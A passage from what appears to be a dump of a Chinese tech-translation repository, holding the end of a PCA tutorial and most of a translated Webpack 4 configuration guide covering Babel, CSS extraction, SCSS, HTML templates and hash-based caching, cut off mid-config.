步骤四：主成分向量\n\n正如我们在前面步骤所看到的，通过计算出特征向量并让他们根据特征值的降序排列，我们能知到每个主成分的重要性。在这一步中，我们将会讨论我们是应该保留最重要的几个主成分，还是保留所有主成分。在排除那些不需要的主成分后，剩下的我们称作**主成分向量**。\n\n主成分向量仅仅是一个矩阵，里面有那些我们决定保留的特征向量。这是数据降维的第一步，因为如果我们只打算在 **n** 个中保留 **p** 个特征向量（成分），那么当我们把数据映射到这些新的坐标轴上时，最后数据将只有 **p** 个维度。\n\n**例如：**\n\n继续看上一步的例子，我们可以只用 **v1** 和 **v2** 来形成主成分向量：\n\n![](https://cdn-images-1.medium.com/max/2000/0*DwiYbyXZXvU20DjB.png)\n\n因为 **v2** 没那么重要，我们丢弃掉它，只保留 **v1**：\n\n![](https://cdn-images-1.medium.com/max/2000/0*YKNYKGQaNAYf6Iln.png)\n\n丢弃掉 **v2** 会使结果降低一个维度，当然也会造成数据的损失。但由于 **v2** 只保留了 4% 的信息，这个损失时可以忽略不计的。因为我们保留了 **v1** ，我们仍然有 96% 的信息。\n\n***\n\n如我们在结果中所见，是否丢弃没有那么重要的成分完全取决于你。如果你只想根据主成分来重新表示数据，不想进行数据将维，那么丢弃掉不重要的成分是不必要的。\n\n### 最后一步：将数据映射到新的主成分坐标系中\n\n在前一步中，除了标准化数据，你并没有对数据作任何改变。你仅仅是选取了主成分，形成了主成分向量，但原始数据仍然在用原来的坐标系表示。\n\n在这最后一步中，我们将使用那些从协方差矩阵中算出来的特征向量形成主成分矩阵，并将原始数据映射到主成分矩阵对应的坐标轴上 —— 这就叫做主成分分析。具体的做法便是用原数据矩阵的转置乘以主成分矩阵的转置。\n\n![](https://cdn-images-1.medium.com/max/2000/0*D02r0HjB8WtCq3Cj.png)\n\n***\n\n如果你喜欢这篇文章，请点击 👏 按钮。并转发让更多人看到！你也可以在下面留言。\n\n### 参考文献：\n\n* [**Steven M. Holland**, **Univ. of Georgia**]: Principal Components Analysis\n* [**skymind.ai**]: Eigenvectors, Eigenvalues, PCA, Covariance and Entropy\n* [**Lindsay I. Smith**] : A tutorial on Principal Component Analysis\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way.md",
    "content": "> * 原文地址：[A tale of Webpack 4 and how to finally configure it in the right way. Updated.](https://hackernoon.com/a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way-4e94c8e7e5c1)\n> * 原文作者：[Margarita Obraztsova](https://hackernoon.com/@riittagirl)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way.md](https://github.com/xitu/gold-miner/blob/master/TODO1/a-tale-of-webpack-4-and-how-to-finally-configure-it-in-the-right-way.md)\n> * 译者：[acev](https://github.com/acev-online)\n> * 校对者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n\n# Webpack 4 的故事以及如何用正确的方式去最终配置它【更新版】\n\n特别提醒：没有正确的方式。#justwebpackthings\n\n![](https://cdn-images-1.medium.com/max/2560/1*f2JinK5jRjYoLJ31kAKyLQ.jpeg)\n\n原图：https://www.instagram.com/p/BhPo4pqBytk/?taken-by=riittagirl\n\n> 这篇博文最后一次更新在 2018 年 12 月 28 日，适用于 Webpack v4.28.0 版本。\n\n* * *\n\n> 2018 年 06 月 23 日更新：我收到了许多关于如何使其工作和如何改进的评论。感谢你们的反馈！我已经尽力的去考虑每一条评论！某种程度上，我也决定在 Github 上创建一个 Webpack 模板项目，你可以使用 Git 来拉取最新的 Webpack 配置文件。感谢你们的支持！链接：https://github.com/marharyta/webpack-boilerplate](https://github.com/marharyta/webpack-boilerplate)\n\n* * *\n\n> 更新：本文是关于 Webpack 和 React.js 搭建系列文章的一部分。在这里阅读有关配置 React 开发环境的部分：[https://medium.com/@riittagirl/how-to-develop-react-js-apps-fast-using-webpack-4-3d772db957e4](https://medium.com/@riittagirl/how-to-develop-react-js-apps-fast-using-webpack-4-3d772db957e4)\n\n* * *\n\n> **感谢各位对我的教程提出大量的反馈。我要很自豪的说，Webpack 前几天在 Twitter 上推荐了这篇教程，并且它已经得到了一些贡献者的认可！**\n\n![](https://cdn-images-1.medium.com/max/600/1*LMP6qbC151q2eJ7efXurmA.jpeg)\n\n![](https://cdn-images-1.medium.com/max/600/1*UVme7DsXop97cirV0TuaWw.jpeg)\n\n谢谢！\n\n* * *\n\n网上有上百万的教程，所以你可能已经看到了上千种配置 Webpack 文件的方式，而且他们都是可运行的例子。为什么会这样？Webpack 本身发展的非常快，很多加载器和插件都必须跟上。这是这些配置文件如此不同的一个主要原因：使用同一工具的不同版本组合，可能可以运行，也可能会失败。\n\n让我只说一件事情，这是我真诚的意见：许多人已经在抱怨 Webpack 和它的笨重，这在很多方面都是正确的。我不得不说，根据我使用 **Gulp 和 Grunt** 的经验，你也会遇到相同类型的错误，这意味着当你使用 **npm 模块**时，某些版本不可避免的会不兼容。\n\n迄今为止，Webpack 4 是一个非常流行的模块打包器，它刚刚经历了一次大规模的更新，提供了许多新功能，如**零配置、合理的默认值、性能提升、开箱即用的优化工具。**\n\n如果你刚接触 Webpack，阅读文档是一个很好的开始。[Webpack 有一个非常好的文档](https://webpack.js.org/concepts/)，其中解释了许多部分，因此我会简单的介绍它们。\n\n**零配置**：Webpack 4 无需配置文件，这是 Webpack 4 的新特性。Webpack 是逐步增长的，因此没必要一开始就做一个可怕的配置。\n\n**性能提升**：Webpack 4 是迄今为止最快的一版。\n\n**合理的默认值**：Webpack 4 的主要概念是「**入口、输出、加载器、插件**」，我不会详细介绍它们。加载器和插件之间的区别非常模糊，这完全取决于库作者如何去实现它。\n\n### 核心概念\n\n#### 入口\n\n这应该是你的 _.js_ 文件。现在您可能会看到一些配置，其中人们在那里包含 _.scss_ 或 _.css_ 文件。这是一个重大的 hack，并可能会导致许多意外错误。有时你也会看到一个带有几个 _.js_ 文件的条目。虽然有些解决方案允许你这样做，但我会说它通常会增加更多的复杂性，只有当你真正知道你为什么这样做时才能这样做。\n\n#### 输出\n\n这是你的 _build/_、_dist/_ 或 _wateveryounameit/_ 文件夹，其中将存放最终生成的 js 文件。这是你的最终结果，由模块组成。\n\n#### 加载器\n\n它们主要编译或转换你的代码，像 postcss-loader 将通过不同的插件。稍后你将能了解它。\n\n#### 插件\n\n插件在将代码输出到文件中的过程中起着至关重要的作用。\n\n### 快速入门\n\n创建一个新的目录，并切换到该目录下：\n\n```shell\nmkdir webpack-4-tutorial\ncd webpack-4-tutorial\n```\n\n初始化 package.json 文件：\n\n```shell\nnpm init\n```\n或者\n```shell\nyarn init\n```\n\n我们需要下载模块 **Webpack v4** 和 **webpack-cli**。在你的终端（控制台）运行它：\n\n```shell\nnpm install webpack webpack-cli --save-dev\n```\n或\n```shell\nyarn add webpack webpack-cli --dev\n```\n\n确保你已经安装了版本 4，如果没有安装，你可以在 _package.json_ 中显式指定它。现在打开 _package.json_ 然后添加构建脚本：\n\n```javascript\n\"scripts\": {\n  \"dev\": \"webpack\"\n}\n```\n\n尝试运行它，你很可能会看到一条警告：\n\n```\nWARNING in configuration\n\nThe 'mode' option has not been set, webpack will fallback to 'production' for this value. Set 'mode' option to 'development' or 'production' to enable defaults for each environment.\n\nYou can also set it to 'none' to disable any default behavior. Learn more: https://webpack.js.org/concepts/mode/\n```\n\n### Webpack 4 模式\n\n你需要编辑脚本来包含模式标记：\n\n```\n\"scripts\": {\n  \"dev\": \"webpack --mode development\"\n}\n\nERROR in Entry module not found: Error: Can't resolve './src' in '~/webpack-4-quickstart'\n```\n\n这意味着 Webpack 在寻找 _.src/_ 文件夹下的 _index.js_ 文件。这是 Webpack 4 的默认行为，毕竟它不需要任何配置。\n\n让我们去创建带有 _.js_ 文件的目录，如 **./src/index.js**，并在那里放一些代码。\n```\nconsole.log(\"hello, world\");\n```\n\n现在运行 dev 脚本：\n\n```\nnpm run dev\n\n或者\n\nyarn dev\n```\n\n如果此时你遇到错误，请阅读本小节下面的更新。否则，现在你应该会有一个 **./dist/main.js** 目录。这很好，因为我们知道我们的代码被编译过了。但刚刚发生了什么？\n\n> 默认情况下，Webpack 是零配置的，这意味着在你开始使用它时，你无需去配置 webpack.config.js。因此，它必须去假定一些默认行为，例如它总是会在默认情况下查找 ./src 文件夹，在其中查找 index.js 并输出到 ./dist/main.js。main.js 是带有依赖项的编译后文件。\n\n* * *\n\n> 2018.12.23 更新\n>\n> 如果你遇到了这个问题：\n\n```\nERROR in ./node_modules/fsevents/node_modules/node-pre-gyp/lib/publish.js\n\nModule not found: Error: Can't resolve 'aws-sdk' in '/Users/mobr/Documents/workshop/test-webpack-4-setup/node_modules/fsevents/node_modules/node-pre-gyp/lib'\n```\n\n> 更多细节描述请参阅[这里](https://github.com/webpack/webpack/issues/8400)，那你最有可能使用一个更成熟的 Webpack v4 版本。\n>\n> 不幸的是，如果不创建 webpack.config.js 文件，你就无法解决它（我将在本文中后续部分向您展示如何执行此操作）。只需按照我的教程，直到 “转义你的 .js 代码” 部分并复制粘贴那里的配置文件。你需要下载 [webpack-node-externals](https://github.com/liady/webpack-node-externals)。\n\n```\nnpm install webpack-node-externals --save-dev\n\n或者是\n\nyarn add webpack-node-externals --dev\n```\n\n> 并且在那里导入以下代码：\n\n```\nconst nodeExternals = require('webpack-node-externals');\n...\nmodule.exports = {\n    ...\n    target: 'node',\n    externals: [nodeExternals()],\n    ...\n};\n```\n\n> 从这个[模块](https://github.com/liady/webpack-node-externals)。\n\n* * *\n\n在 webpack 中，拥有两个配置文件是常见做法，尤其是在大型项目中。通常你会有一个用于开发的文件和一个用于生产的文件。在 webpack 4 中，你有 **开发** 和 **生产** 两种模式。这消除了对两个文件的需求（对于中型项目）。\n\n\n```\n\"scripts\": {\n  \"dev\": \"webpack --mode development\",\n  \"build\": \"webpack --mode production\"\n}\n```\n如果你密切关注，你应当已经检查了你的 _main.js_ 文件，并了解到它没有被缩小。\n\n**我将在此示例中使用 dev 脚本，因为它提供了大量开箱即用的优化，但从现在开始，你可以随意使用它们中的任何一个。build 和 dev 脚本之间的核心区别在于它们如何输出文件。build 脚本为生产代码创建。dev 脚本为开发而创建，这意味着它支持热模块替换、开发服务器以及许多可以帮助你进行开发工作的东西。**\n\n你可以在 npm 脚本中很轻易地覆盖默认配置，只需要使用标记：\n\n```\n\"scripts\": {\n  \"dev\": \"webpack --mode development ./src/index.js --output ./dist/main.js\",\n  \"build\": \"webpack --mode production ./src/index.js --output ./dist/main.js\"\n}\n```\n\n这将覆盖默认选项，而无需配置任何内容。\n\n作为一个练习，你也可以试试这些标记：\n\n*   — watch 启用监听模式的标记。它将会监控文件变化，并且在每次文件更新时重新编译。\n\n```\n\"scripts\": {\n  \"dev\": \"webpack --mode development ./src/index.js --output ./dist/main.js --watch\",\n  \"build\": \"webpack --mode production ./src/index.js --output ./dist/main.js --watch\"\n}\n```\n\n*   — entry 标记。与输出标记完全一样，但重写了输入路径。\n\n### 转译你的 .js 代码\n\n现代 JS 代码大多是用 ES6 编写的，然而并不是所有浏览器都支持 ES6。 因此，您需要将其 transpile — 一个将您的 ES6 代码转换为 ES5 的奇特词汇。你可以使用 **babel**（现在最流行的工具）来处理。 当然，转译不仅针对 ES6 代码，而且针对许多 JS 实现，如 TypeScript 和 React 等。\n\n\n```\nnpm install babel-core babel-loader babel-preset-env --save-dev\n\n或者\n\nyarn add babel-core babel-loader babel-preset-env --dev\n```\n\n这是您需要为 babel 创建配置文件的部分。\n\n```\nnano .babelrc\n```\n\n把下面的内容粘贴过去：\n\n```json\n{\n\"presets\": [\n  \"env\"\n  ]\n}\n```\n\n我们有两个选择来配置 babel-loader ：\n\n*   使用配置文件 **webpack.config.js**\n*   在 **npm 脚本**使用 --module-bind 参数\n\n从技术上讲，你可以使用 Webpack 引入的新标志来作很多事情，但是为了简单起见，我更喜欢使用 **webpack.config.js**。\n\n### 配置文件\n\n虽然 webpack 将自己宣传为零配置平台，但它主要适用于一般默认设置，如入口和输出。\n\n现在我们将使用以下内容创建 **webpack.config.js**：\n\n```\n// webpack v4\n\nconst path = require('path');\n\n// update from 23.12.2018\nconst nodeExternals = require('webpack-node-externals');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: 'main.js'\n  },\n  target: 'node', // update from 23.12.2018\n  externals: [nodeExternals()], // update from 23.12.2018\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      }\n    ]\n  }\n};\n```\n\n我们也会从 npm 脚本中移除标记。\n\n```\n\"scripts\": {\n  \"build\": \"webpack --mode production\",\n  \"dev\": \"webpack --mode development\"\n},\n```\n现在当我们运行 **_npm run build 或者 yarn build_** 时，它应当输出一个被很好地压缩的 _.js_ 文件到 _./dist/main.js_ 。如果没有的话，尝试重新安装 **babel-loader** 。\n\n\n* * *\n\n> 2018.12.23 更新\n>\n> 如果你遇到 **module '@babel/core' conflict**，这意味着你的某些预加载的 babel 依赖项不兼容。就我而言，我遇到了。\n\n```\nModule build failed: Error: Cannot find module '@babel/core'\n\nbabel-loader@8 requires Babel 7.x (the package '@babel/core'). If you'd like to use Babel 6.x ('babel-core'), you should install 'babel-loader@7'.\n```\n\n> 我解决了这个问题，通过执行\n\n```\nyarn add @babel/core --dev\n```\n\n* * *\n\n> 最常见的 webpack 模式是使用它来编译 React.js 应用程序。虽然确有其事，但我们不会在本教程中专注 React 部分，因为我希望它与框架无关。相反，我将向您展示如何继续并创建 .html 和 .css 配置。\n\n### HTML 和 CSS 的导入\n\n让我们首先在 _./dist_ 文件夹下创建一个小小的 _index.html_ 文件：\n\n```html\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"style.css\">\n  </head>\n  <body>\n    <div>Hello, world!</div>\n    <script src=\"main.js\"></script>\n  </body>\n</html>\n```\n\n如您所见，我们在这里导入 style.css。让我们配置它！正如我们所说，我们只有一个 Webpack 入口点。那么我们将 css 放在哪里？在 _./src_ 文件夹中创建一个 _style.css_\n\n```css\ndiv {\n  color: red;\n}\n```\n\n别忘了在你的 .js 文件里包含它：\n\n```javascript\nimport \"./style.css\";\nconsole.log(\"hello, world\");\n```\n\n> 特别提醒：在某些文章中，你会了解到 ExtractTextPlugin 不适用于 webpack 4。它在我的 webpack v4.2 上可以运行，但在我使用 webpack v4.20 时停止运行。它证明了在搭建时我的模块设置很模糊，如果它完全不适合你，你可以切换到 MiniCssExtractPlugin。我将在本文后面部分向您展示如何配置。\n>\n> 为了向后兼容，我仍然会展示 ExtractTextPlugin 示例，但是你完全可以删去它并替换成正在使用 MiniCssExtractPlugin 的部分。\n\n在 Webpack 为您的 css 文件创建一条新的规则：\n\n```javascript\n// webpack v4\nconst path = require('path');\n\n// update from 23.12.2018\nconst nodeExternals = require('webpack-node-externals');\n\nconst ExtractTextPlugin = require('extract-text-webpack-plugin');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: 'main.js'\n  },\n  target: 'node', // update from 23.12.2018\n  externals: [nodeExternals()], // update from 23.12.2018\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.css$/,\n        use: ExtractTextPlugin.extract(\n          {\n            fallback: 'style-loader',\n            use: ['css-loader']\n          })\n      }\n    ]\n  }\n};\n```\n\n在终端（控制台）运行：\n\n```shell\nnpm install extract-text-webpack-plugin --save-dev\nnpm install style-loader css-loader --save-dev\n```\n\n或者\n\n```shell\nyarn add extract-text-webpack-plugin style-loader css-loader --dev\n```\n\n我们需要使用文本提取插件来编译 **.css**。如您所见，我们还为 **.css** 添加了一条新规则。从版本 4 开始，Webpack 4 和这个插件有一些问题，因此你可能会遇到这个错误：\n\n- [**Webpack 4 compatibility · Issue #701 · webpack-contrib/extract-text-webpack-plugin**](https://github.com/webpack-contrib/extract-text-webpack-plugin/issues/701 \"https://github.com/webpack-contrib/extract-text-webpack-plugin/issues/701\")\n\n为了修复这个问题，你可以运行\n\n```shell\nnpm install -D extract-text-webpack-plugin@next\n```\n或\n```shell\nyarn add --dev extract-text-webpack-plugin@next\n```\n\n> 专业提示：Google 一下你获得的错误信息，尝试在 Github 问题列表查找类似的问题，或者直接在 StackOverflow 网站提一个问题。\n\n在那之后，你的 CSS 代码应当会编译到 _./dist/style.css_。\n\n此时在 package.json 中，开发依赖清单看起来像这样：\n\n```json\n\"devDependencies\": {\n    \"babel-core\": \"^6.26.0\",\n    \"babel-loader\": \"^7.1.4\",\n    \"babel-preset-env\": \"^1.6.1\",\n    \"css-loader\": \"^0.28.11\",\n    \"extract-text-webpack-plugin\": \"^4.0.0-beta.0\",\n    \"style-loader\": \"^0.20.3\",\n    \"webpack\": \"^4.4.1\",\n    \"webpack-cli\": \"^2.0.12\"\n }\n```\n\n版本可能不同，但这是正常的！\n\n请注意，另一个组合可能无法正常工作，即使像将 webpack-cli v2.0.12 更新为 2.0.13 这样的改动，也可能会使其无法正常运行。#justwebpackthings\n\n所以现在它应该将 _style.css_ 输出到 _./dist_ 文件夹中。\n\n![](https://cdn-images-1.medium.com/max/800/1*q72pzP6EMWubm7J_IESMaw.png)\n\n### Mini-CSS 插件\n\nMini CSS 插件旨在取代 extract-text 插件，它为您提供更好的未来兼容性。我用 [**mini-css-extract-plugin**](https://github.com/webpack-contrib/mini-css-extract-plugin \"https://github.com/webpack-contrib/mini-css-extract-plugin\") 重新构建了我的 Webpack 文件以编译 style.css，**并且它对我很有用。**\n\n```shell\nnpm install mini-css-extract-plugin --save-dev\n\n或者是\n\nyarn add mini-css-extract-plugin --dev\n```\n\n\n```javascript\n// webpack v4\nconst path = require('path');\n\n// update from 23.12.2018\nconst nodeExternals = require('webpack-node-externals');\n\n// const ExtractTextPlugin = require('extract-text-webpack-plugin');\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  target: 'node', // update from 23.12.2018\n  externals: [nodeExternals()], // update from 23.12.2018\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.css$/,\n        use:  [  'style-loader', MiniCssExtractPlugin.loader, 'css-loader']\n      }\n    ]\n  },\n  plugins: [\n    new MiniCssExtractPlugin({\n      filename: 'style.css',\n    })\n  ]\n};\n```\n正如尼古拉·沃尔科夫所指出的那样，可能不再需要 style-loader 了，因为用 **MiniCssExtractPlugin.loader 也可以做到同样的事情**。虽然这可能属实，但我仍然建议留下它作为后备。\n\n### Webpack 匹配规则如何工作？\n\n> 一个关于匹配规则通常如何工作的快速描述：\n\n```json\ntest: /\\.YOUR_FILE_EXTENSION$/,\nexclude: /SOMETHING THAT IS THAT EXTENSION BUT SHOULD NOT BE PROCESSED/,\nuse: {\n  loader: \"loader for your file extension  or a group of loaders\"\n}\n```\n\n**我们需要去使用 MiniCssExtractPlugin，因为 Webpack 默认只能解析 _.js_ 格式。MiniCssExtractPlugin 获取你的 _.css_ ，然后提取它到一个在 _./dist_ 目录下的独立 _.css_ 文件。**\n\n### 配置对 SCSS 的支持\n\n使用 SASS 和 PostCSS 开发网站是一个很平常的事情，它们非常有用。因此我们首先要包含对 SASS 的支持。让我们重命名 _./src/style.css_ ，然后创建另外的文件夹来存放 _.scss_ 文件。现在我们需要添加对 _.scss_ 格式的支持。\n\n```shell\nnpm install node-sass sass-loader --save-dev\n```\n\n或者是\n\n```shell\nyarn add node-sass sass-loader --dev\n```\n\n在你的 _.js_ 文件里用 **_./scss/main.scss_** 替换 *style.css*，更改测试以支持 _.scss_。\n\n```javascript\n// webpack v4\nconst path = require('path');\n// update 23.12.2018\nconst nodeExternals = require('webpack-node-externals');\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: 'main.js'\n  },\n  target: \"node\", // update 23.12.2018\n  externals: [nodeExternals()], // update 23.12.2018\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use: [\n          \"style-loader\",\n          MiniCssExtractPlugin.loader,\n          \"css-loader\",\n          \"sass-loader\"\n        ]\n      }\n    ]\n  } ...\n```\n\n### HTML 模板\n\n现在让我们创建 _.html_ 文件模板。添加 _index.html_ 到 _./src_，保持完全相同的结构。\n\n```html\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"style.css\">\n  </head>\n  <body>\n    <div>Hello, world!</div>\n    <script src=\"main.js\"></script>\n  </body>\n</html>\n```\n\n为了作为一个模板去使用这个文件，我们将需要对它使用 html 插件。\n\n```shell\nnpm install html-webpack-plugin --save-dev\n```\n\n或者\n\n```shell\nyarn add html-webpack-plugin --dev\n```\n\n把它添加到你的 Webpack 文件：\n\n```javascript\n// webpack v4\nconst path = require('path');\n// update 23.12.2018\nconst nodeExternals = require('webpack-node-externals');\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: 'main.js'\n  },\n  target: \"node\", // update 23.12.2018\n  externals: [nodeExternals()], // update 23.12.2018\n\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use: [\n          \"style-loader\",\n          MiniCssExtractPlugin.loader,\n          \"css-loader\",\n          \"sass-loader\"\n        ]\n      }\n    ]\n  },\n  plugins: [\n    new MiniCssExtractPlugin({\n      filename: \"style.css\"\n    }),\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    })\n  ]\n};\n```\n\n现在，_./src/index.html_ 中的文件是最终 index.html 文件的模板。要检查一切是否正常，请删除 _./dist_ 文件夹中的每个文件和文件夹本身。\n\n```shell\nrm -rf ./dist\nnpm run dev\n```\n\n或者是\n\n```shell\nyarn dev\n```\n\n你会看到 _./dist_ 文件夹是自行创建的，包含三个文件：**index.html，style.css，main.js。**\n\n### 缓存和哈希\n\n开发中最常见的问题之一是实现缓存。了解它的工作原理非常重要，因为您希望用户始终拥有最新版本的代码。\n\n由于这篇博文主要是关于 webpack 配置的，在这里，我们不会对缓存如何工作来做过多的讨论。我只想说解决缓存问题最常用的方法之一是向资源文件添加**哈希值**，例如 _style.css_ 和 *script.js*。**你可以在[这里](https://developers.google.com/web/fundamentals/performance/webpack/use-long-term-caching#split-the-code-into-routes-and-pages)阅读相关内容**。哈希值可以确保我们的浏览器只请求更改过的文件。\n\nWebpack 4 有内置的 [**chunkhash**](https://webpack.js.org/guides/caching/) 功能来实现用哈希值缓存控制。它可以通过以下方式完成：\n\n```javascript\n// webpack v4\nconst path = require('path');\n\n// update 23.12.2018\nconst nodeExternals = require(\"webpack-node-externals\");\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\nconst HtmlWebpackPlugin = require('html-webpack-plugin');\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  target: \"node\",\n  externals: [nodeExternals()],\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use: [\n            \"style-loader\",\n            MiniCssExtractPlugin.loader,\n            \"css-loader\",\n            \"sass-loader\"\n          ]\n       }\n    ]\n  },\n  plugins: [\n    new MiniCssExtractPlugin({\n     filename: \"style.[contenthash].css\"\n    }),\n\n    new HtmlWebpackPlugin({\n      inject: false,\n      hash: true,\n      template: './src/index.html',\n      filename: 'index.html'\n    })\n  ]\n};\n```\n\n在您的 _./src/index.html_ 文件中添加\n\n```html\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"<%=htmlWebpackPlugin.files.chunks.main.css %>\">\n  </head>\n  <body>\n    <div>Hello, world!</div>\n    <script src=\"<%= htmlWebpackPlugin.files.chunks.main.entry %>\"></script>\n  </body>\n</html>\n```\n\n这样的语法将会为您的 HTML 模版注入带有哈希值的文件。这是下面问题被解决后实现的新功能：\n\n- [**Support for .css and .manifest files and cache busting by jantimon · Pull Request #14**](https://github.com/jantimon/html-webpack-plugin/pull/14 \"https://github.com/jantimon/html-webpack-plugin/pull/14\")\n\n我们将使用在 HTML 模板中描述的 **htmlWebpackPlugin.files.chunks.main**。查看我们在 **_./dist_** 下的文件 **index.html**。\n\n![](https://cdn-images-1.medium.com/max/800/1*eAcjaMGzriv946f1lI3-Hw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Ccl_haaqqZ4OrEco0ZCZtQ.png)\n\n如果我们不改变我们的 _.js_ 和 _.css_ 文件中任何东西，运行\n\n```\nnpm run dev\n```\n\n不论您运行多少次，运行前后两个文件中的哈希值均会彼此相同。\n\n### CSS Hash 问题以及解决方案\n\n* * *\n\n> 2018.12.28 更新\n>\n> 如果你使用针对 CSS 的 webpack 4 版本的 ExtractTextPlugin，可能会存在这个问题。如果你使用 MiniCssExtractPlugin，这个问题将不会发生，但阅读它是有益的！\n\n* * *\n\n虽然我们在这里已经有实现方法，但它还不完美。如果我们更改 _.scss_ 文件中的某些代码怎么办？继续下去，在那里更改一些 scss 并再次运行 dev 脚本。现在不生成新的文件哈希。如果我们将一个新的 console.log 添加到我们的 _.js_ 文件中，如下所示：\n\n\n```\nimport \"./style.css\";\nconsole.log(\"hello, world\");\nconsole.log(\"Hello, world 2\");\n```\n\n如果再次运行 dev 脚本，您将看到两个文件中的哈希值均已更新。\n\n这个问题是已知的，甚至在 StackOverflow 上都有相关问题：\n\n- [**Updating chunkhash in both css and js file in webpack**: I have only got the JS file in the output whereas i have used the ExtractTextPlugin to extract the Css file.Both have…](https://stackoverflow.com/questions/44491064/updating-chunkhash-in-both-css-and-js-file-in-webpack \"https://stackoverflow.com/questions/44491064/updating-chunkhash-in-both-css-and-js-file-in-webpack\")\n\n#### 现在如何去修复那个问题？\n\n在尝试了很多声称可以解决这个问题的插件之后，我终于找到了两种类型的解决方案。\n\n#### 解决方案 1\n\n可能还存在一些冲突，所以**现在我们试试 [mini-css-extract plugin](https://github.com/webpack-contrib/mini-css-extract-plugin)。**\n\n#### 解决方案 2\n\n在 _.css_ 提取插件上用 **[hash]** 替换 **[chunkhash]**。这是[上述问题](https://github.com/webpack-contrib/extract-text-webpack-plugin/issues/763)的解决方案之一。这似乎与 Webpack 4.3 产生了冲突，后者引入了[Webpack 自己](https://github.com/webpack/webpack/releases/tag/v4.3.0)的 `[contenthash]` 变量。结合使用此插件：[**webpack-md5-hash**](https://www.npmjs.com/package/webpack-md5-hash) **(请参阅下文)。**\n\n现在让我们测试一下 _.js_ 文件：两个文件的哈希值都改变了。\n\n### JS Hash 的问题以及解决方案\n\n如果您已经在使用 MiniCssExtractPlugin，则会出现相反的问题：**每次更改 SCSS 中的某些内容时，.js 文件和 .css 输出文件哈希值都会更改。**\n\n#### 解决方案:\n\n使用这个插件：[**webpack-md5-hash**](https://www.npmjs.com/package/webpack-md5-hash)。如果对 _main.scss_ 文件进行更改并运行 dev 脚本，则只应使用新哈希生成新的 _style.css_，而不是两者。\n\n```javascript\n// webpack v4\nconst path = require('path');\n// update 23.12.2018\nconst nodeExternals = require(\"webpack-node-externals\");\n\nconst MiniCssExtractPlugin = require(\"mini-css-extract-plugin\");\nconst HtmlWebpackPlugin = require(\"html-webpack-plugin\");\nconst WebpackMd5Hash = require(\"webpack-md5-hash\");\n\nmodule.exports = {\n  entry: { main: './src/index.js' },\n  output: {\n    path: path.resolve(__dirname, 'dist'),\n    filename: '[name].[chunkhash].js'\n  },\n  target: \"node\", // update 23.12.2018\n  externals: [nodeExternals()], // update 23.12.2018\n  module: {\n    rules: [\n      {\n        test: /\\.js$/,\n        exclude: /node_modules/,\n        use: {\n          loader: \"babel-loader\"\n        }\n      },\n      {\n        test: /\\.scss$/,\n        use: ExtractTextPlugin.extract(\n          {\n            fallback: 'style-loader',\n            use: 